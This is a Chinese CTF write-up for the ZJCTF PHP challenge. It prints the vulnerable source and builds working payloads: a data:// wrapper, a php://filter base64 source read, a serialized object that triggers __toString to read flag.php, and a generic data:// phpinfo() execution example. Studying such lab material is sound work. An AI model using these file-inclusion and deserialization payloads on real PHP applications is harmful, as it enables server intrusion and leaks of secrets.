直接引用这位的文章,
前言
本题涉及到 伪协议、文件包含、反序列化
开门见山
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
一上来就是源码安排上,粗略扫一眼,需要进入if true的代码块内
伪协议
进入if true的代码块内,需要用到 data:// 协议
data://协议
需要allow_url_fopen,allow_url_include均为on
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
text/plain,表示的是文本
text/plain;base64, 若纯文本没用可用base64编码
这里我们选用纯文本模式:
text=data://text/plain,welcome to the zjctf
成功进入
题外话:虽然这里很想就着filegetcontents拿到flag,但是$text写死了
文件包含
也许你迫不及待就像用include把flag干掉,但是我知道你很急,但你先别急,flag被ban了的,可以考虑绕绕preg_match,我想到的是PCRE,让其返回false(也就想想,没实践)
在PHP中,文件包含漏洞通常发生在这四个函数中:
require()
require_once()
include()
include_once()
这里我们用php://filter协议,来看看注释中的useless.php(参考资料中这个协议拼错了,在此引用已更正)
此协议一般用来查看源码
一般用法如下
www.xxx.xxx/?file=php://filter/convert.base64-encode/resource==index.php
出来的是base64码需要进行解码
此协议不受allow_url_fopen,allow_url_include配置影响
故构造payload
file=php://filter/convert.base64-encode/resource=useless.php
成功读到useless.php的base64,拿去解码可以得到以下源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
反序列化
源码中的 unserialize 函数能触发反序列化漏洞
说到反序列化,不得不了解下魔术方法,在此就不赘述了 此处用到的是__tostring()方法,其触发条件就是 当一个对象被当作str处理 时,例如在echo中被用,恰好index的源码里是echo,用就对了
附:参考片段
...
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
...
useless.php里写的filegetcontents直接去读flag.php,构造payload
<?php
class Flag{ //flag.php
public $file;
public function __construct(){
$this->file = "flag.php";
}
}
$a = new Flag();
$b = serialize($a);
echo urlencode($b);
?>
得到
password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
最终payload
text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D